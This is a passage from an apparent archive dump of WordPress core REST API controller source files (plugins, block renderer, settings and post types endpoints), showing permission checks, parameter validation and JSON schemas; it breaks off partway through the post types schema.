
		if ( 'active' === $new_status && 'network-active' === $current_status ) {
			return true;
		}

		$network_activate = 'network-active' === $new_status;

		if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) {
			return new WP_Error(
				'rest_network_only_plugin',
				__( 'Network only plugin must be network activated.' ),
				array( 'status' => 400 )
			);
		}

		$activated = activate_plugin( $plugin, '', $network_activate );

		if ( is_wp_error( $activated ) ) {
			$activated->add_data( array( 'status' => 500 ) );

			return $activated;
		}

		return true;
	}

	/**
	 * Checks that the "plugin" parameter is a valid path.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return bool
	 */
	public function validate_plugin_param( $file ) {
		if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) {
			return false;
		}

		$validated = validate_file( plugin_basename( $file ) );

		return 0 === $validated;
	}

	/**
	 * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return string
	 */
	public function sanitize_plugin_param( $file ) {
		return plugin_basename( sanitize_text_field( $file . '.php' ) );
	}

	/**
	 * Checks if the plugin matches the requested parameters.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request The request to require the plugin matches against.
	 * @param array           $item    The plugin item.
	 * @return bool
	 */
	protected function does_plugin_match_request( $request, $item ) {
		$search = $request['search'];

		if ( $search ) {
			$matched_search = false;

			foreach ( $item as $field ) {
				if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) {
					$matched_search = true;
					break;
				}
			}

			if ( ! $matched_search ) {
				return false;
			}
		}

		$status = $request['status'];

		if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the plugin is installed.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file.
	 * @return bool
	 */
	protected function is_plugin_installed( $plugin ) {
		return file_exists( WP_PLUGIN_DIR . '/' . $plugin );
	}

	/**
	 * Determine if the endpoints are available.
	 *
	 * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if filesystem is available, WP_Error otherwise.
	 */
	protected function is_filesystem_available() {
		$filesystem_method = get_filesystem_method();

		if ( 'direct' === $filesystem_method ) {
			return true;
		}

		ob_start();
		$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
		ob_end_clean();

		if ( $filesystem_credentials_are_stored ) {
			return true;
		}

		return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) );
	}

	/**
	 * Retrieves the plugin's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'plugin',
			'type'       => 'object',
			'properties' => array(
				'plugin'       => array(
					'description' => __( 'The plugin file.' ),
					'type'        => 'string',
					'pattern'     => self::PATTERN,
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'status'       => array(
					'description' => __( 'The plugin activation status.' ),
					'type'        => 'string',
					'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'         => array(
					'description' => __( 'The plugin name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'plugin_uri'   => array(
					'description' => __( 'The plugin\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author'       => array(
					'description' => __( 'The plugin author.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author_uri'   => array(
					'description' => __( 'Plugin author\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'description'  => array(
					'description' => __( 'The plugin description.' ),
					'type'        => 'object',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The raw plugin description.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The plugin description formatted for display.' ),
							'type'        => 'string',
						),
					),
				),
				'version'      => array(
					'description' => __( 'The plugin version number.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'network_only' => array(
					'description' => __( 'Whether the plugin can only be activated network-wide.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_wp'  => array(
					'description' => __( 'Minimum required version of WordPress.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_php' => array(
					'description' => __( 'Minimum required version of PHP.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'textdomain'   => array(
					'description' => __( 'The plugin\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['status'] = array(
			'description' => __( 'Limits results to plugins with the given status.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
				'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
			),
		);

		unset( $query_params['page'], $query_params['per_page'] );

		return $query_params;
	}
}
endpoints/class-wp-rest-block-renderer-controller.php000064400000013312151024200430017030 0ustar00<?php
/**
 * Block Renderer REST API: WP_REST_Block_Renderer_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides REST endpoint for rendering a block.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Renderer_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-renderer';
	}

	/**
	 * Registers the necessary REST API routes, one for each dynamic block.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<name>[a-z0-9-]+/[a-z0-9-]+)',
			array(
				'args'   => array(
					'name' => array(
						'description' => __( 'Unique registered name for the block.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ),
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'    => $this->get_context_param( array( 'default' => 'view' ) ),
						'attributes' => array(
							'description'       => __( 'Attributes for the block.' ),
							'type'              => 'object',
							'default'           => array(),
							'validate_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_validate_value_from_schema( $value, $schema );
							},
							'sanitize_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_sanitize_value_from_schema( $value, $schema );
							},
						),
						'post_id'    => array(
							'description' => __( 'ID of the post context.' ),
							'type'        => 'integer',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read blocks.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks of this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		} else {
			if ( ! current_user_can( 'edit_posts' ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks as this user.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns block output from block's registered render_callback.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			// Set up postdata since this will be needed if post_id was set.
			setup_postdata( $post );
		}

		$registry   = WP_Block_Type_Registry::get_instance();
		$registered = $registry->get_registered( $request['name'] );

		if ( null === $registered || ! $registered->is_dynamic() ) {
			return new WP_Error(
				'block_invalid',
				__( 'Invalid block.' ),
				array(
					'status' => 404,
				)
			);
		}

		$attributes = $request->get_param( 'attributes' );

		// Create an array representation simulating the output of parse_blocks.
		$block = array(
			'blockName'    => $request['name'],
			'attrs'        => $attributes,
			'innerHTML'    => '',
			'innerContent' => array(),
		);

		// Render using render_block to ensure all relevant filters are used.
		$data = array(
			'rendered' => render_block( $block ),
		);

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves block's output schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/schema#',
			'title'      => 'rendered-block',
			'type'       => 'object',
			'properties' => array(
				'rendered' => array(
					'description' => __( 'The rendered block.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'edit' ),
				),
			),
		);

		return $this->schema;
	}
}
endpoints/class-wp-rest-settings-controller.php000064400000024165151024200430016002 0ustar00<?php
/**
 * REST API: WP_REST_Settings_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage a site's settings via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Settings_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'settings';
	}

	/**
	 * Registers the routes for the site's settings.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'args'                => array(),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read and manage settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access for the item, otherwise false.
	 */
	public function get_item_permissions_check( $request ) {
		return current_user_can( 'manage_options' );
	}

	/**
	 * Retrieves the settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$options  = $this->get_registered_options();
		$response = array();

		foreach ( $options as $name => $args ) {
			/**
			 * Filters the value of a setting recognized by the REST API.
			 *
			 * Allow hijacking the setting value and overriding the built-in behavior by returning a
			 * non-null value.  The returned value will be presented as the setting value instead.
			 *
			 * @since 4.7.0
			 *
			 * @param mixed  $result Value to use for the requested setting. Can be a scalar
			 *                       matching the registered schema for the setting, or null to
			 *                       follow the default get_option() behavior.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args );

			if ( is_null( $response[ $name ] ) ) {
				// Default to a null value as "null" in the response means "not set".
				$response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] );
			}

			/*
			 * Because get_option() is lossy, we have to
			 * cast values to the type they are registered with.
			 */
			$response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] );
		}

		return $response;
	}

	/**
	 * Prepares a value for output based off a schema array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed $value  Value to prepare.
	 * @param array $schema Schema to match.
	 * @return mixed The prepared value.
	 */
	protected function prepare_value( $value, $schema ) {
		/*
		 * If the value is not valid by the schema, set the value to null.
		 * Null values are specifically non-destructive, so this will not cause
		 * overwriting the current invalid value to null.
		 */
		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Updates settings for the settings object.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$options = $this->get_registered_options();

		$params = $request->get_params();

		foreach ( $options as $name => $args ) {
			if ( ! array_key_exists( $name, $params ) ) {
				continue;
			}

			/**
			 * Filters whether to preempt a setting value update via the REST API.
			 *
			 * Allows hijacking the setting update logic and overriding the built-in behavior by
			 * returning true.
			 *
			 * @since 4.7.0
			 *
			 * @param bool   $result Whether to override the default behavior for updating the
			 *                       value of a setting.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param mixed  $value  Updated setting value.
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args );

			if ( $updated ) {
				continue;
			}

			/*
			 * A null value for an option would have the same effect as
			 * deleting the option from the database, and relying on the
			 * default value.
			 */
			if ( is_null( $request[ $name ] ) ) {
				/*
				 * A null value is returned in the response for any option
				 * that has a non-scalar value.
				 *
				 * To protect clients from accidentally including the null
				 * values from a response object in a request, we do not allow
				 * options with values that don't pass validation to be updated to null.
				 * Without this added protection a client could mistakenly
				 * delete all options that have invalid values from the
				 * database.
				 */
				if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) {
					return new WP_Error(
						'rest_invalid_stored_value',
						/* translators: %s: Property name. */
						sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
						array( 'status' => 500 )
					);
				}

				delete_option( $args['option_name'] );
			} else {
				update_option( $args['option_name'], $request[ $name ] );
			}
		}

		return $this->get_item( $request );
	}

	/**
	 * Retrieves all of the registered options for the Settings API.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of registered options.
	 */
	protected function get_registered_options() {
		$rest_options = array();

		foreach ( get_registered_settings() as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$defaults = array(
				'name'   => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name,
				'schema' => array(),
			);

			$rest_args = array_merge( $defaults, $rest_args );

			$default_schema = array(
				'type'        => empty( $args['type'] ) ? null : $args['type'],
				'title'       => empty( $args['label'] ) ? '' : $args['label'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args['schema']      = array_merge( $default_schema, $rest_args['schema'] );
			$rest_args['option_name'] = $name;

			// Skip over settings that don't have a defined type in the schema.
			if ( empty( $rest_args['schema']['type'] ) ) {
				continue;
			}

			/*
			 * Allow the supported types for settings, as we don't want invalid types
			 * to be updated with arbitrary values that we can't do decent sanitizing for.
			 */
			if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) {
				continue;
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			$rest_options[ $rest_args['name'] ] = $rest_args;
		}

		return $rest_options;
	}

	/**
	 * Retrieves the site setting schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$options = $this->get_registered_options();

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'settings',
			'type'       => 'object',
			'properties' => array(),
		);

		foreach ( $options as $option_name => $option ) {
			$schema['properties'][ $option_name ]                = $option['schema'];
			$schema['properties'][ $option_name ]['arg_options'] = array(
				'sanitize_callback' => array( $this, 'sanitize_callback' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Custom sanitize callback used for all options to allow the use of 'null'.
	 *
	 * By default, the schema of settings will throw an error if a value is set to
	 * `null` as it's not a valid value for something like "type => string". We
	 * provide a wrapper sanitizer to allow the use of `null`.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The value for the setting.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return mixed|WP_Error
	 */
	public function sanitize_callback( $value, $request, $param ) {
		if ( is_null( $value ) ) {
			return $value;
		}

		return rest_parse_request_arg( $value, $request, $param );
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema
	 * if no additionalProperties setting is specified.
	 *
	 * This is needed to restrict properties of objects in settings values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 4.9.0
	 * @deprecated 6.1.0 Use {@see rest_default_additional_properties_to_false()} instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function set_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '6.1.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}
}
endpoints/class-wp-rest-post-types-controller.php000064400000033713151024200430016270 0ustar00<?php
/**
 * REST API: WP_REST_Post_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access post types via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'types';
	}

	/**
	 * Registers the routes for post types.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<type>[\w-]+)',
			array(
				'args'   => array(
					'type' => array(
						'description' => __( 'An alphanumeric identifier for the post type.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => '__return_true',
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public post types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$data  = array();
		$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

		foreach ( $types as $type ) {
			if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) {
				continue;
			}

			$post_type           = $this->prepare_item_for_response( $type, $request );
			$data[ $type->name ] = $this->prepare_response_for_collection( $post_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a specific post type.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_type_object( $request['type'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_type_invalid',
				__( 'Invalid post type.' ),
				array( 'status' => 404 )
			);
		}

		if ( empty( $obj->show_in_rest ) ) {
			return new WP_Error(
				'rest_cannot_read_type',
				__( 'Cannot view post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post type object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post_Type    $item    Post type object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post_type = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php */
			return apply_filters( 'rest_prepare_post_type', new WP_REST_Response( array() ), $post_type, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) );
		$taxonomies = wp_list_pluck( $taxonomies, 'name' );
		$base       = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
		$namespace  = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2';
		$supports   = get_all_post_type_supports( $post_type->name );

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'capabilities', $fields ) ) {
			$data['capabilities'] = $post_type->cap;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $post_type->description;
		}

		if ( rest_is_field_included( 'hierarchical', $fields ) ) {
			$data['hierarchical'] = $post_type->hierarchical;
		}

		if ( rest_is_field_included( 'has_archive', $fields ) ) {
			$data['has_archive'] = $post_type->has_archive;
		}

		if ( rest_is_field_included( 'visibility', $fields ) ) {
			$data['visibility'] = array(
				'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus,
				'show_ui'           => (bool) $post_type->show_ui,
			);
		}

		if ( rest_is_field_included( 'viewable', $fields ) ) {
			$data['viewable'] = is_post_type_viewable( $post_type );
		}

		if ( rest_is_field_included( 'labels', $fields ) ) {
			$data['labels'] = $post_type->labels;
		}

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $post_type->label;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post_type->name;
		}

		if ( rest_is_field_included( 'icon', $fields ) ) {
			$data['icon'] = $post_type->menu_icon;
		}

		if ( rest_is_field_included( 'supports', $fields ) ) {
			$data['supports'] = $supports;
		}

		if ( rest_is_field_included( 'taxonomies', $fields ) ) {
			$data['taxonomies'] = array_values( $taxonomies );
		}

		if ( rest_is_field_included( 'rest_base', $fields ) ) {
			$data['rest_base'] = $base;
		}

		if ( rest_is_field_included( 'rest_namespace', $fields ) ) {
			$data['rest_namespace'] = $namespace;
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			$data['template'] = $post_type->template ?? array();
		}

		if ( rest_is_field_included( 'template_lock', $fields ) ) {
			$data['template_lock'] = ! empty( $post_type->template_lock ) ? $post_type->template_lock : false;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $post_type ) );
		}

		/**
		 * Filters a post type returned from the REST API.
		 *
		 * Allows modification of the post type data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param WP_Post_Type     $post_type The original post type object.
		 * @param WP_REST_Request  $request   Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Post_Type $post_type The post type.
	 * @return array Links for the given post type.
	 */
	protected function prepare_links( $post_type ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ),
			),
		);
	}

	/**
	 * Retrieves the post type's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 4.8.0 The `supports` property was added.
	 * @since 5.9.0 The `visibility` and `rest_namespace` properties were added.
	 * @since 6.1.0 The `icon` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'type',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the post type should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'viewable'       => array(
					'description' => __( 'Whether or not the post type can be viewed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the post type for various contexts.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'supports'       => array(
					'description' => __( 'All features, supported by the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'has_archive'    => array(
					'description' => __( 'If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive.' ),
					'type'        => array( 'string', 'boolean' ),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'taxonomies'     => array(
					'description' => __( 'Taxonomies associated with post type.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST route\'s namespace for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'show_ui'           => array(
							'description' => __( 'Whether to generate a default UI for managing this post type.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus' => array(
							'description' => __( 'Whether to make the post type available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
					),
				),
				'icon'           => array(
					'description' => __( 'The icon for the post type.' ),
					'type'        => array( 'string', 'null' ),
